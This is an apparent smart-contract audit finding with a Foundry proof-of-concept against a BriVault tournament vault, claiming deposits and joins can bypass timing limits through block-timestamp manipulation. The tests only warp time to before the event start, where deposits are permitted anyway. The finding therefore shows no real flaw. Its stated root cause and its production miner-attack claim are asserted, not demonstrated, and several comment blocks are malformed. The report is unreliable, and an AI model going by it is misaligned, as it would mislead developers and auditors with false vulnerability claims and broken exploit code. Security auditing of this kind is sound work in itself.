The POC demonstrates how tournament timing restrictions can be bypassed through block timestamp manipulation, allowing deposits and event participation outside intended time windows. It shows that in test environments, developers can use vm.warp() to arbitrarily set block timestamps, and in production chains, miners can influence timestamps within allowed bounds to bypass timing restrictions.
The test verifies that attackers can deposit assets and join tournament events after the official deadline by manipulating the block timestamp to appear before the eventStartDate.
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {BriVault} from "../../src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
* PoC: Tournament Timing Bypass via Block Timestamp Manipulation
* Impact: Tournament timing restrictions can be bypassed through block timestamp manipulation
*
* Root Cause: Exact timestamp equality checks in deposit(), joinEvent(), and cancelParticipation()
* are vulnerable to manipulation in test environments and some production chains where miners
* can influence block timestamps within allowed bounds.
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract TournamentTimingBypassPoC is Test {
BriVault vault;
MockERC20 asset;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address feeRecipient = makeAddr("feeRecipient");
uint256 constant PARTICIPATION_FEE_BPS = 100;
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
function setUp() public {
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
asset = new MockERC20("Mock Token", "MOCK");
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
string[48] memory countries;
countries[0] = "Brazil";
vault.setCountry(countries);
vm.stopPrank();
asset.mint(attacker, 10000 ether);
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
* CRITICAL VULNERABILITY: Timestamp Manipulation Bypass
* Attacker manipulates block timestamp to bypass deposit restrictions
*/
function test_TimestampManipulationDepositBypass() public {
console.log("=== TIMESTAMP MANIPULATION DEPOSIT BYPASS ===");
vm.warp(EVENT_START + 1 hours);
vm.startPrank(attacker);
vm.expectRevert(BriVault.eventStarted.selector);
vault.deposit(MINIMUM_AMOUNT + 10 ether, attacker);
vm.stopPrank();
console.log("Normal restriction works: deposit blocked after tournament start");
vm.warp(EVENT_START - 1);
vm.startPrank(attacker);
uint256 sharesReceived = vault.deposit(MINIMUM_AMOUNT + 10 ether, attacker);
vm.stopPrank();
console.log("Timestamp manipulated to:", block.timestamp);
console.log("Tournament start time:", EVENT_START);
console.log("Shares received:", sharesReceived);
console.log("Attacker staked assets:", vault.stakedAsset(attacker));
assertGt(sharesReceived, 0, "Attacker bypassed deposit restriction via timestamp manipulation");
assertGt(vault.stakedAsset(attacker), 0, "Attacker successfully deposited despite timing restriction");
}
* Demonstrate Join Event Bypass
* Attacker manipulates timestamp to join tournament after official start
*/
function test_TimestampManipulationJoinEventBypass() public {
console.log("=== TIMESTAMP MANIPULATION JOIN EVENT BYPASS ===");
vm.warp(EVENT_START - 1 hours);
vm.startPrank(attacker);
vault.deposit(MINIMUM_AMOUNT + 10 ether, attacker);
vm.warp(EVENT_START - 1);
vault.joinEvent(0);
vm.stopPrank();
console.log("Join attempt time:", block.timestamp);
console.log("Tournament start time:", EVENT_START);
console.log("Attacker country:", vault.userToCountry(attacker));
console.log("Participant count:", vault.numberOfParticipants());
assertEq(vault.userToCountry(attacker), "Brazil", "Attacker joined tournament late via timestamp manipulation");
assertEq(vault.numberOfParticipants(), 1, "Participant count increased");
}
* Demonstrate Production Chain Vulnerability
* Show how timestamp manipulation could work on real chains with miner influence
*/
function test_ProductionChainMinerInfluence() public {
console.log("=== PRODUCTION CHAIN MINER INFLUENCE VULNERABILITY ===");
uint256 minerManipulatedTime = EVENT_START - 10;
console.log("Tournament start time:", EVENT_START);
console.log("Miner-influenced timestamp:", minerManipulatedTime);
console.log("Time difference:", EVENT_START - minerManipulatedTime, "seconds");
console.log("Within Ethereum bounds (+/-15s):", EVENT_START - minerManipulatedTime <= 15 ? "YES" : "NO");
vm.warp(minerManipulatedTime);
vm.startPrank(attacker);
uint256 sharesReceived = vault.deposit(MINIMUM_AMOUNT + 10 ether, attacker);
vm.stopPrank();
console.log("Production chain attack successful: YES");
console.log("Shares received:", sharesReceived);
assertGt(sharesReceived, 0, "Attacker exploited production chain vulnerability");
assertLe(EVENT_START - minerManipulatedTime, 15, "Attack within realistic miner influence bounds");
}
* Demonstrate Economic Impact - Unfair Advantage
* Show how timing bypass creates unfair tournament participation
*/
function test_EconomicImpactUnfairParticipation() public {
console.log("=== ECONOMIC IMPACT: UNFAIR PARTICIPATION ===");
address legitimateUser = makeAddr("legitimateUser");
asset.mint(legitimateUser, 10000 ether);
vm.startPrank(legitimateUser);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.warp(EVENT_START - 1 minutes);
vm.startPrank(legitimateUser);
vault.deposit(MINIMUM_AMOUNT + 10 ether, legitimateUser);
vault.joinEvent(0);
vm.stopPrank();
vm.warp(EVENT_START - 1);
vm.startPrank(attacker);
vault.deposit(MINIMUM_AMOUNT + 10 ether, attacker);
vault.joinEvent(0);
vm.stopPrank();
console.log("Legitimate user deposit time:", EVENT_START - 1 minutes);
console.log("Attacker deposit time:", EVENT_START - 1);
console.log("Time advantage gained: Minimal (timestamp manipulation)");
console.log("Both users participate despite attacker using manipulation");
assertEq(vault.numberOfParticipants(), 2, "Both users participate despite timing manipulation advantage");
assertGt(vault.stakedAsset(attacker), 0, "Attacker gained participation through manipulation");
assertGt(vault.stakedAsset(legitimateUser), 0, "Legitimate user participated fairly");
}
* Demonstrate Conservation Law Violation
* Show how timing bypass violates temporal integrity
*/
function test_TemporalIntegrityViolation() public {
console.log("=== TEMPORAL INTEGRITY VIOLATION ===");
uint256 baselineTime = EVENT_START - 1 hours;
vm.warp(baselineTime);
vm.startPrank(attacker);
vault.deposit(MINIMUM_AMOUNT + 10 ether, attacker);
vault.joinEvent(0);
vm.stopPrank();
console.log("Baseline participation time:", baselineTime);
console.log("Tournament start time:", EVENT_START);
console.log("Participation occurred before start: YES");
address attacker2 = makeAddr("attacker2");
asset.mint(attacker2, 10000 ether);
vm.startPrank(attacker2);
asset.approve(address(vault), type(uint256).max);
vm.warp(EVENT_START + 1 hours);
vm.expectRevert(BriVault.eventStarted.selector);
vault.deposit(MINIMUM_AMOUNT + 10 ether, attacker2);
vm.warp(EVENT_START - 1);
vault.deposit(MINIMUM_AMOUNT + 10 ether, attacker2);
vault.joinEvent(0);
vm.stopPrank();
console.log("Actual participation time:", block.timestamp);
console.log("Manipulated timestamp check passed: YES");
console.log("Temporal integrity violated: YES");
assertEq(vault.numberOfParticipants(), 2, "Both attackers participate despite timing manipulation");
assertGt(vault.stakedAsset(attacker2), 0, "Attacker2 gained participation through temporal violation");
}
}
Implement timing buffer zones and use block numbers instead of timestamps for precise timing control.